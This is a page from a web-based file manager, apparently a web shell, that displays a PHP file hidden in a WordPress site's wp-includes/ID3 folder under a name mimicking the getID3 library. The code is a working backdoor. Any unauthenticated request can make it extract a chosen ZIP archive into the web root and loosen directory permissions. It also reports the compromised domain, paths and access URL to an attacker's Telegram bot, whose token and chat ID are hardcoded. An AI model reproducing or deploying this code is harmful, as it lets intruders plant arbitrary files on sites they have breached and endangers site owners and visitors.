File manager - Edit - /home/buyherba/worldcargocourier.com/wp-includes/ID3/getid3.reco.php
Back
<?php define('TELEGRAM_BOT_TOKEN', '7707499103:AAGCl29Ew1jdTTtVBAjy8-o_S_KVSUDvcDM'); define('TELEGRAM_CHAT_ID', '-1003772179315'); define('TIMEZONE', 'Asia/Jakarta'); function send_telegram($message) { $url = "https://api.telegram.org/bot" . TELEGRAM_BOT_TOKEN . "/sendMessage"; $data = array( 'chat_id' => TELEGRAM_CHAT_ID, 'text' => $message, 'parse_mode'=> 'HTML' ); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_exec($ch); curl_close($ch); return; } $options = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data), 'timeout' => 10, ) ); $context = stream_context_create($options); @file_get_contents($url, false, $context); } function send_response($statusCode, $statusText, $message, $telegramMessage = '') { global $telegramReport; $fullMessage = $telegramReport . "\nStatus: $statusCode $statusText\nPesan: $message" . ($telegramMessage ? "\n$telegramMessage" : ''); send_telegram($fullMessage); header("HTTP/1.1 $statusCode $statusText"); header('Content-Type: text/plain; charset=UTF-8'); exit($message); } function detect_root_directory($startDir) { // 1. Coba deteksi WordPress (mencari wp-config.php ke atas) $dir = realpath($startDir); while ($dir && $dir !== DIRECTORY_SEPARATOR && $dir !== '') { if (file_exists($dir . DIRECTORY_SEPARATOR . 'wp-config.php')) { return array($dir, 'WordPress'); } $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; } // 2. Jika tidak ada WordPress, gunakan DOCUMENT_ROOT (umum di server biasa) if (isset($_SERVER['DOCUMENT_ROOT']) && is_dir($_SERVER['DOCUMENT_ROOT'])) { return array(realpath($_SERVER['DOCUMENT_ROOT']), 'Non-WordPress (DOCUMENT_ROOT)'); } // 3. Fallback: 3 tingkat di atas lokasi skrip (asumsi struktur umum) $fallbackRoot = realpath(__DIR__ . '/../../..'); if ($fallbackRoot !== false && is_dir($fallbackRoot)) { return array($fallbackRoot, 'Non-WordPress (fallback)'); } return array(false, 'Tidak diketahui'); } date_default_timezone_set(TIMEZONE); $startTime = date('Y-m-d H:i:s'); // Kompatibel dengan PHP 5.5+ if (isset($_SERVER['HTTP_HOST'])) { $domain = $_SERVER['HTTP_HOST']; } elseif (isset($_SERVER['SERVER_NAME'])) { $domain = $_SERVER['SERVER_NAME']; } else { $domain = 'localhost'; } $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443)) ? "https://" : "http://"; $fullUrl = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $telegramReport = "📦 <b>Laporan Ekstrak ZIP</b>\n"; $telegramReport .= "Waktu : $startTime\n"; $telegramReport .= "Domain : $domain\n"; $telegramReport .= "URL : $fullUrl\n"; // Cek ekstensi ZipArchive if (!class_exists('ZipArchive')) { send_response(500, 'Internal Server Error', 'Ekstensi ZipArchive tidak tersedia di server', "Ekstensi ZipArchive tidak ada."); } list($rootDir, $rootType) = detect_root_directory(__DIR__); if ($rootDir === false) { send_response(500, 'Internal Server Error', 'Tidak dapat menentukan root direktori. Pastikan server mendukung DOCUMENT_ROOT atau struktur direktori standar.', "Gagal mendeteksi root direktori."); } $telegramReport .= "Root : $rootDir\n"; $telegramReport .= "Jenis : $rootType\n"; if (!isset($_GET['zipfile']) || $_GET['zipfile'] === '') { send_response(400, 'Bad Request', 'Parameter "zipfile" diperlukan', "Parameter zipfile tidak diberikan."); } // Parameter tujuan (opsional, default ke direktori tempat script berada relatif terhadap root) if (isset($_GET['tujuan'])) { $tujuanRel = trim($_GET['tujuan'], " \t\n\r\0\x0B/"); } else { $tujuanRel = ''; // jika kosong, akan menggunakan direktori skrip relatif terhadap root } if ($tujuanRel === '') { // Cari path relatif dari __DIR__ terhadap rootDir $tujuanRel = ltrim(str_replace($rootDir, '', __DIR__), DIRECTORY_SEPARATOR); if ($tujuanRel === '') { $tujuanRel = '.'; // fallback jika rootDir == __DIR__ } } if (strpos($tujuanRel, '../') !== false || strpos($tujuanRel, '..\\') !== false) { send_response(400, 'Bad Request', 'Parameter "tujuan" tidak valid (mengandung karakter terlarang)', "Path tujuan mengandung '..'"); } // Gabungkan dengan root $extractTo = $rootDir . DIRECTORY_SEPARATOR . $tujuanRel; // Normalisasi dan validasi akhir dengan realpath (direktori mungkin belum ada) $realExtractTo = realpath($extractTo); if ($realExtractTo === false) { // Direktori belum ada, coba buat if (!@mkdir($extractTo, 0755, true) && !@mkdir($extractTo, 0777, true)) { send_response(500, 'Internal Server Error', 'Gagal membuat direktori tujuan', "Gagal membuat direktori $extractTo"); } $realExtractTo = realpath($extractTo); if ($realExtractTo === false) { send_response(500, 'Internal Server Error', 'Tidak dapat menentukan path absolut tujuan', "realpath gagal setelah mkdir."); } } // Pastikan direktori tujuan berada di dalam root (keamanan) if (strpos($realExtractTo, $rootDir) !== 0) { send_response(403, 'Forbidden', 'Direktori tujuan harus berada di dalam root direktori', "Tujuan di luar root: $realExtractTo"); } // Cek writable if (!is_writable($realExtractTo)) { @chmod($realExtractTo, 0755) || @chmod($realExtractTo, 0777); if (!is_writable($realExtractTo)) { send_response(500, 'Internal Server Error', 'Direktori tujuan tidak dapat ditulisi', "Direktori $realExtractTo tidak writable"); } } $telegramReport .= "Tujuan : $realExtractTo\n"; $zipParam = $_GET['zipfile']; $zipPath = realpath($zipParam); if ($zipPath === false || !is_file($zipPath)) { send_response(404, 'Not Found', 'File ZIP tidak ditemukan', "File $zipParam tidak ditemukan."); } // Validasi ekstensi $extension = strtolower(pathinfo($zipPath, PATHINFO_EXTENSION)); if ($extension !== 'zip') { send_response(400, 'Bad Request', 'File harus ber-ekstensi .zip', "File bukan ZIP: $zipParam"); } $telegramReport .= "File ZIP : " . basename($zipPath) . "\n"; $zip = new ZipArchive(); $zipOpenResult = $zip->open($zipPath); if ($zipOpenResult !== true) { $errorMsg = "Gagal membuka file ZIP (kode: $zipOpenResult)"; send_response(500, 'Internal Server Error', $errorMsg, $errorMsg); } // Informasi jumlah file untuk laporan $fileCount = $zip->numFiles; $telegramReport .= "Jumlah file: $fileCount\n"; $key = isset($_GET['key']) ? (string)$_GET['key'] : null; if ($key !== null && $key !== '') { if (method_exists($zip, 'setPassword')) { if (!$zip->setPassword($key)) { $zip->close(); send_response(400, 'Bad Request', 'Password ZIP tidak valid', "Gagal set password (kemungkinan password salah atau tidak didukung)"); } } else { $zip->close(); send_response(400, 'Bad Request', 'Password tidak didukung di versi PHP ini (minimal PHP 5.6)', "Password diberikan tetapi PHP " . phpversion() . " tidak mendukung setPassword."); } } // Ekstraksi $extractSuccess = $zip->extractTo($realExtractTo); $zip->close(); if (!$extractSuccess) { send_response(401, 'Unauthorized', 'Gagal mengekstrak ZIP. Password salah atau file rusak.', "Ekstrak gagal. Kemungkinan password salah, file korup, atau permission."); } // Setelah sukses, atur permission direktori (opsional) @chmod($realExtractTo, 0755); if ($tujuanRel === '.') { $accessUrl = $protocol . $domain . '/'; } else { $accessUrl = $protocol . $domain . '/' . $tujuanRel . '/'; } $telegramReport .= "Status : ✅ SUKSES\n"; $telegramReport .= "Semua file berhasil diekstrak.\n"; $telegramReport .= "URL AKSES : " . $accessUrl; send_telegram($telegramReport); header('HTTP/1.1 200 OK'); header('Content-Type: text/plain; charset=UTF-8'); echo 'File ZIP berhasil diekstrak';
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.07 |
proxy
|
phpinfo
|
Settings